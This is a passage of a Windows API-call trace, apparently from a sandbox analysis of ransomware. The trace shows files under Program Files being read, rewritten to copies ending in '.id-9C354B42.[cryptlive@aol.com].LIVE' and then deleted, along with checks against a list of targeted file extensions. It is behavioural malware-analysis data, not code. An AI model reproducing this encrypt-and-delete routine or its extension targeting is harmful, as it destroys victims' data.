hFile=0x1e4, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.554] SetEndOfFile (hFile=0x1e4) returned 1 [0050.554] CloseHandle (hObject=0x1e4) returned 1 [0050.556] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.556] SetEndOfFile (hFile=0x200) returned 1 [0050.557] CloseHandle (hObject=0x200) returned 1 [0050.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.558] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0050.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.558] lstrlenW (lpString=".doc") returned 4 [0050.558] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.558] lstrlenW (lpString=".docx") returned 5 [0050.558] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.558] lstrlenW (lpString=".pdf") returned 4 [0050.558] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString=".xls") returned 4 [0050.559] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.559] lstrlenW (lpString=".xlsx") returned 5 [0050.559] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.559] lstrlenW (lpString=".ppt") returned 4 [0050.559] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString=".zip") returned 4 [0050.559] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.559] lstrlenW (lpString=".rar") returned 4 [0050.559] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.559] lstrlenW (lpString=".bz2") returned 4 [0050.559] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString=".7z") returned 3 [0050.559] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString=".dbf") returned 4 [0050.559] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString=".1cd") returned 4 [0050.559] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString=".jpg") returned 4 [0050.559] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.559] lstrlenW (lpString=".doc") returned 4 [0050.559] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString=".docx") returned 5 [0050.559] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.559] lstrlenW (lpString=".pdf") returned 4 [0050.559] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.559] lstrlenW (lpString=".xls") returned 4 [0050.559] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.559] lstrlenW (lpString=".xlsx") returned 5 [0050.560] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.560] lstrlenW (lpString=".ppt") returned 4 [0050.560] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.560] lstrlenW (lpString=".zip") returned 4 [0050.560] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.560] lstrlenW (lpString=".rar") returned 4 [0050.560] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.560] lstrlenW (lpString=".bz2") returned 4 [0050.560] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.560] lstrlenW (lpString=".7z") returned 3 [0050.560] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.560] lstrlenW (lpString=".dbf") returned 4 [0050.560] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.560] lstrlenW (lpString=".1cd") returned 4 [0050.560] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0050.560] lstrlenW (lpString=".jpg") returned 4 [0050.560] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.560] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0050.560] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.561] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2552) returned 1 [0050.561] CloseHandle (hObject=0x200) returned 1 [0050.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0050.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.562] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.562] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.216] GetLastError () returned 0x0 [0051.216] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0051.218] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0051.219] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.219] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.219] SetEndOfFile (hFile=0x208) returned 1 [0051.219] CloseHandle (hObject=0x208) returned 1 [0051.220] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.220] SetEndOfFile (hFile=0x200) returned 1 [0051.220] CloseHandle (hObject=0x200) returned 1 [0051.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0051.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.221] lstrlenW (lpString=".doc") returned 4 [0051.221] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.221] lstrlenW (lpString=".docx") returned 5 [0051.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.221] lstrlenW (lpString=".pdf") returned 4 [0051.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.221] lstrlenW (lpString=".xls") returned 4 [0051.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.221] lstrlenW (lpString=".xlsx") returned 5 [0051.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.221] lstrlenW (lpString=".ppt") returned 4 [0051.221] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.221] lstrlenW (lpString=".zip") returned 4 [0051.221] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.221] lstrlenW (lpString=".rar") returned 4 [0051.221] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.221] lstrlenW (lpString=".bz2") returned 4 [0051.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString=".7z") returned 3 [0051.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString=".dbf") returned 4 [0051.222] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString=".1cd") returned 4 [0051.222] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString=".jpg") returned 4 [0051.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString=".doc") returned 4 [0051.222] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString=".docx") returned 5 [0051.222] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.222] lstrlenW (lpString=".pdf") returned 4 [0051.222] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".xls") returned 4 [0051.222] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".xlsx") returned 5 [0051.222] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.222] lstrlenW (lpString=".ppt") returned 4 [0051.222] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.222] lstrlenW (lpString=".zip") returned 4 [0051.222] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".rar") returned 4 [0051.222] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.222] lstrlenW (lpString=".bz2") returned 4 [0051.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.222] lstrlenW (lpString=".7z") returned 3 [0051.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.223] lstrlenW (lpString=".dbf") returned 4 [0051.223] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.223] lstrlenW (lpString=".1cd") returned 4 [0051.223] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0051.223] lstrlenW (lpString=".jpg") returned 4 [0051.223] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.223] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.223] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.223] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1659) returned 1 [0051.223] CloseHandle (hObject=0x200) returned 1 [0051.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0051.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.224] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.224] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.225] GetLastError () returned 0x0 [0051.225] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x67b, lpOverlapped=0x0) returned 1 [0051.227] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x680, lpOverlapped=0x0) returned 1 [0051.228] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.228] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.228] SetEndOfFile (hFile=0x208) returned 1 [0051.228] CloseHandle (hObject=0x208) returned 1 [0051.228] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.228] SetEndOfFile (hFile=0x200) returned 1 [0051.229] CloseHandle (hObject=0x200) returned 1 [0051.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".doc") returned 4 [0051.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.230] lstrlenW (lpString=".docx") returned 5 [0051.230] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.230] lstrlenW (lpString=".pdf") returned 4 [0051.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString=".xls") returned 4 [0051.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString=".xlsx") returned 5 [0051.230] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.230] lstrlenW (lpString=".ppt") returned 4 [0051.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".zip") returned 4 [0051.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString=".rar") returned 4 [0051.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString=".bz2") returned 4 [0051.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.230] lstrlenW (lpString=".7z") returned 3 [0051.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".dbf") returned 4 [0051.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".1cd") returned 4 [0051.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".jpg") returned 4 [0051.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.230] lstrlenW (lpString=".doc") returned 4 [0051.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString=".docx") returned 5 [0051.231] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.231] lstrlenW (lpString=".pdf") returned 4 [0051.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".xls") returned 4 [0051.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".xlsx") returned 5 [0051.231] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.231] lstrlenW (lpString=".ppt") returned 4 [0051.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.231] lstrlenW (lpString=".zip") returned 4 [0051.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".rar") returned 4 [0051.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.231] lstrlenW (lpString=".bz2") returned 4 [0051.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString=".7z") returned 3 [0051.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.231] lstrlenW (lpString=".dbf") returned 4 [0051.231] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.231] lstrlenW (lpString=".1cd") returned 4 [0051.231] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0051.231] lstrlenW (lpString=".jpg") returned 4 [0051.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.231] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.231] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.232] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=44850) returned 1 [0051.232] CloseHandle (hObject=0x200) returned 1 [0051.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0051.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.233] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.233] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.233] GetLastError () returned 0x0 [0051.233] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0051.235] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0051.237] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.237] WriteFile (in: hFile=0x208, lpBuffer=0x35f0020*, 